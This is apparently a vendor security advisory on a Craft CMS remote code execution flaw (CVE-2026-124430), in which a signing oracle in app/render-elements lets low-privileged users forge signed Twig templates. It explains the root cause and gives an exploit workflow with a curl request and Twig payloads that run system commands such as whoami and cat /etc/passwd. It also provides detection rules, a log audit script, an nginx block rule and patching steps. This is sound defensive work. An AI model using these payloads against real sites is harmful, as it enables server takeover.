CVE-2026-124430: Craft CMS Remote Code Execution via app/render-elements Signing Oracle
A critical vulnerability chain (CVE-2026-124430) in Craft CMS versions 5.10.0 before 5.11.2 permits authenticated low-privileged control panel users to achieve unconstrained remote code execution on the underlying hosting server. Craft CMS is a prominent enterprise content management system and headless publishing platform powering digital experiences across global enterprises. A design flaw in the internal 'app/render-elements' controller endpoint allows callers to manipulate UI element configurations (Cp::elementChipHtml()) that are signed with the application's secret HMAC key. By using this endpoint as a cryptographic signing oracle, an attacker generates valid signatures for arbitrary Twig object template strings. Submitting the signed payload to template-rendering parameters bypasses integrity checks and triggers unsandboxed evaluation via renderObjectTemplate(), granting direct access to PHP execution callables (exec, system, passthru). VulnCheck published an advisory confirming weaponization on November 9, 2026. Hermes rates this threat at HTS 88 (CRITICAL) and HASS 68 (HIGH).
HERMES THREAT SCORE & ENTERPRISE WEB CMS INTEGRITY EVALUATION
Target:Craft CMS Controller Infrastructure & Twig Object Template Engine CVSS v3.1 rates this flaw at 8.8 (High) due to the authenticated role requirement (PR:L). Hermes elevates the risk to HTS 88 (CRITICAL). In enterprise deployments, low-privileged author, translator, or marketing accounts are frequently compromised through credential stuffing, phishing, or public registration portals. Once inside the control panel, this signing oracle provides a reliable, deterministic weaponization chain directly converting low-privilege access into full web server and database takeover.
1. Executive Summary & Context
Section titled โ1. Executive Summary & ContextโCraft CMS is a modular enterprise content management system built on PHP and the Yii framework, renowned for flexible content modeling, custom field layouts, and headless API capabilities. It relies heavily on the Twig templating engine for presentation logic.
Disclosed in November 2026, CVE-2026-124430 is a sophisticated template injection and cryptographic signing oracle vulnerability affecting Craft CMS versions 5.10.0 through 5.11.1. By abusing the internal app/render-elements controller action, authenticated users with minimal control panel access can coerce the server into signing an arbitrary Twig template string with the applicationโs private HMAC key. This signed token can then be passed to parameter redirection handlers that evaluate trusted templates, enabling unsandboxed code execution under the PHP worker process (www-data). On November 9, 2026, VulnCheck published an in-depth weaponization advisory demonstrating end-to-end command execution.
2. Root Cause Analysis & Technical Mechanics (CWE-1336 / CWE-347)
Section titled โ2. Root Cause Analysis & Technical Mechanics (CWE-1336 / CWE-347)โThe vulnerability stems from the interplay between dynamic element chip rendering in the control panel and Craftโs cryptographic parameter protection system (craftcms\base\Security::hashData()).
The Cryptographic Signing Oracle
Section titled โThe Cryptographic Signing OracleโIn Craft CMS 5.10.x, the endpoint app/render-elements was introduced to render HTML badges and chips representing content elements dynamically:
// In src/controllers/AppController.phppublic function actionRenderElements(): Response{ $this->requireCpRequest(); $elementConfigs = $this->request->getRequiredBodyParam('elements'); $html = [];
foreach ($elementConfigs as $config) { // User-supplied config is passed to chip generation: $html[] = Cp::elementChipHtml($config); }
return $this->asJson(['html' => $html]);}Within src/helpers/Cp.php, elementChipHtml() packages the chipโs metadata into a serialized state string. To prevent tampering across AJAX requests, Craft computes an HMAC-SHA256 signature over this string using the applicationโs private security key:
// In src/helpers/Cp.php$signedData = Craft::$app->getSecurity()->hashData(serialize($chipConfig));Because low-privileged control panel users can supply arbitrary nested values within the elements request payload, an attacker controls the data being hashed and receives the signed string directly in the JSON response, effectively converting the endpoint into a chosen-plaintext signing oracle.
Unsandboxed Template Evaluation
Section titled โUnsandboxed Template EvaluationโCraft CMS protects against Server-Side Template Injection (SSTI) by validating HMAC signatures before passing dynamic strings to renderObjectTemplate(). An attacker leverages their oracle-generated signature to present a malicious Twig payload (such as {{['id']|map('system')}} or {{['cat /etc/passwd']|filter('system')}}) to an action accepting signed redirect or return templates:
- Craft calls
Craft::$app->getSecurity()->validateData($signedPayload). - Because the signature was legitimately generated by the server via the oracle, validation passes.
- The raw string is forwarded to
Craft::$app->getView()->renderObjectTemplate($template, $object). - Twig processes the string outside of the sandbox, resolving native PHP callback functions and executing operating system commands.
3. Threat Architecture & Attack Vectors
Section titled โ3. Threat Architecture & Attack VectorsโsequenceDiagram autonumber actor Attacker as Authenticated Low-Priv User participant AppController as AppController (app/render-elements) participant Security as Security::hashData() [HMAC-SHA256] participant View as View::renderObjectTemplate() participant OS as Underlying OS / PHP Worker
Attacker->>AppController: POST /actions/app/render-elements<br/>Payload: {"elements": [{"template": "{{['id']|map('system')}}"}]} AppController->>Security: hashData(serialized_payload, APP_SECRET_KEY) Security-->>AppController: Valid signed HMAC token AppController-->>Attacker: JSON response containing signed token
Attacker->>AppController: GET /admin/dashboard?returnUrl=<signed_token> AppController->>Security: validateData(signed_token) -> VALID! AppController->>View: renderObjectTemplate(untrusted_payload) View->>OS: Invoke PHP system("id") callable OS-->>Attacker: Execution output: uid=33(www-data) gid=33(www-data)Exploit Demonstration Workflow
Section titled โExploit Demonstration Workflowโ- Query Signing Oracle:
Terminal window curl -s -X POST "https://cms.target.com/actions/app/render-elements" \-H "Cookie: CRAFT_CSRF_TOKEN=...; CraftSessionId=..." \-H "Content-Type: application/json" \-d '{"elements": [{"chipHtml": "{{[\"whoami\"]|map(\"system\")}}"}]}' - Extract Signed Token: The attacker parses the returned JSON payload and extracts the base64-encoded signed parameter.
- Trigger Template Execution: The signed parameter is submitted to a controller accepting signed view templates, executing the payload and returning command output.
4. Forensic Triage & Detection Engineering
Section titled โ4. Forensic Triage & Detection Engineeringโtitle: Craft CMS Signing Oracle Template Injection Attemptid: 3d9178bf-5012-4219-9014-871239581024status: experimentaldescription: Detects HTTP requests to Craft CMS app/render-elements containing Twig template syntax or anomalous returnUrl evaluations.author: Hermes Codex Cyber Defense Teamdate: 2026-11-10references: - https://vulncheck.com/advisories/craft-cms-5.10.0-before-5.11.2-rce-via-app-render-elements-signing-oracle - https://nvd.nist.gov/vuln/detail/CVE-2026-124430logsource: category: webserverdetection: selection_oracle: cs-method: 'POST' cs-uri-stem|contains: '/actions/app/render-elements' c-body|contains: - '{{' - '{%' - '|map(' - '|filter(' - 'system' - 'exec' - 'passthru' condition: selection_oraclefields: - c-ip - cs-username - cs-method - cs-uri-stemfalsepositives: - Legitimate custom plugin developers testing dynamic chip templates in non-production environments.level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.006// Detect web worker processes executing shell commands originating from Craft CMSProcessCreationEvents| where InitiatingProcessFileName in~ ("php-fpm", "php", "apache2", "httpd", "nginx")| where FileName in~ ("sh", "bash", "whoami", "id", "uname", "curl", "wget", "python")| where InitiatingProcessCommandLine contains "craft" or InitiatingProcessCommandLine contains "index.php"| project TimeGenerated, Computer, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName| order by TimeGenerated desc#!/bin/bash# Craft CMS Forensic Log Audit Script for CVE-2026-124430echo "[*] Auditing Craft CMS log files for signing oracle exploitation..."
CRAFT_LOGS="storage/logs"if [ -d "$CRAFT_LOGS" ]; then grep -E -i "app/render-elements" "$CRAFT_LOGS"/*.log grep -E -i "renderObjectTemplate.*(system|exec|passthru|shell_exec)" "$CRAFT_LOGS"/*.logelse echo "[-] Directory $CRAFT_LOGS not found. Check absolute path to web root."fi5. Remediation & Hardening Strategy
Section titled โ5. Remediation & Hardening Strategyโ-
Immediate Upgrade to Craft CMS 5.11.2 or Later: Deploy Craft CMS 5.11.2 immediately. This release refactors
actionRenderElements(), forbids untrusted template configurations from entering signing pipelines, and enforces strict sandboxed Twig contexts.Terminal window composer require craftcms/cms:5.11.2 --update-with-dependencies./craft migrate/all -
Temporary Mitigation via Middleware / WAF Rule: If updating cannot be performed immediately, block POST requests containing Twig delimiters (
{{,{%) directed at/actions/app/render-elements:# Nginx mitigation blocklocation ~* /actions/app/render-elements {if ($request_body ~* "(\{\{|\{%|\|map|\|filter)") {return 403;}try_files $uri $uri/ /index.php?$query_string;} -
Application Secret Rotation: If compromise is suspected, immediately rotate the
CRAFT_SECURITY_KEYin the.envconfiguration file to invalidate all previously forged HMAC tokens:Terminal window ./craft setup/security-key -
Disable Sensitive PHP Functions: Harden the
php.iniconfiguration for PHP-FPM by disabling process execution callables:disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source